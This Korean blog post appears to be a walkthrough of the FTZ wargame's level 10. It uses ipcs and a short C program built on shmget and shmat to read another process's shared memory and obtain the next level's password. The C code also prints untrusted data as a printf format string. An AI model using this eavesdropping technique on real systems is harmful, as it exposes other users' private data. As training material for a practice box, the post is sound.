728x90
[level10@ftz level10]$ cat hint


두명의 사용자가 대화방을 이용하여 비밀스런 대화를 나누고 있다.
그 대화방은 공유 메모리를 이용하여 만들어졌으며, 
key_t의 값은 7530이다. 이를 이용해 두 사람의 대화를 도청하여 
level11의 권한을 얻어라.

- 레벨을 완료하셨다면 소스는 지우고 나가주세요.

공유 메모리에 접근해서 데이터를 읽어오면 된다.

각 프로세스는 메모리에 자신들의 code, data, heap, stack을 가진다.

공유 메모리는 말 그대로 프로세스들이 공유하는 메모리다.

[level10@ftz tmp]$ ipcs -m

------ Shared Memory Segments --------
key        shmid      owner      perms      bytes      nattch     status      
0x00001d6a 0          root      666        1028       0

key 값이 7530인 공유 메모리가 존재함을 알 수 있다.

구글링해서 공유 메모리에 접근하는 방법을 알아냈다.

#include <sys/ipc.h>
#include <sys/shm.h>
#include <sys/types.h>
#include <stdio.h>
int main(){
        int id=shmget(7530,1028,IPC_CREAT|0666);
        char* str=(char*)shmat(id,NULL,SHM_RDONLY);
        printf(str);
}

shmget은 공유메모리의 id를 구하는 함수다.

shmat는 id에 해당하는 공유 메모리의 주소를 알려준다.

https://unabated.tistory.com/entry/shmget-shmat-shmdt-%EA%B3%B5%EC%9C%A0%EB%A9%94%EB%AA%A8%EB%A6%AC-%EA%B3%B5%EA%B0%84-%ED%95%A0%EB%8B%B9%EC%B2%A8%EB%B6%80%EB%B6%84%EB%A6%AC

 

shmget(), shmat(), shmdt() - 공유메모리 공간 할당/첨부/분리

리눅스에서 공유메모리를 출력해주는 명령어 ipcs -m: ■ 개념 공유메모리는 단어 뜻에서 알 수 있듯이 하나의 프로세스에서가 아니라 여러 프로세스가 함께 사용하는 메모리를 말한다. 이 공유

unabated.tistory.com

위의 링크를 참조했다.

위의 코드를 컴파일하면 level11의 비밀번호가 나온다.

[level10@ftz tmp]$ gcc test.c
[level10@ftz tmp]$ ./a.out
멍멍: level11의 패스워드는?
구타: what!@#$?
728x90

'FTZ' 카테고리의 다른 글

level12  (0) 2023.01.19
level11  (0) 2023.01.09
level9  (0) 2023.01.08
level8  (0) 2023.01.08
level7  (0) 2023.01.08

+ Recent posts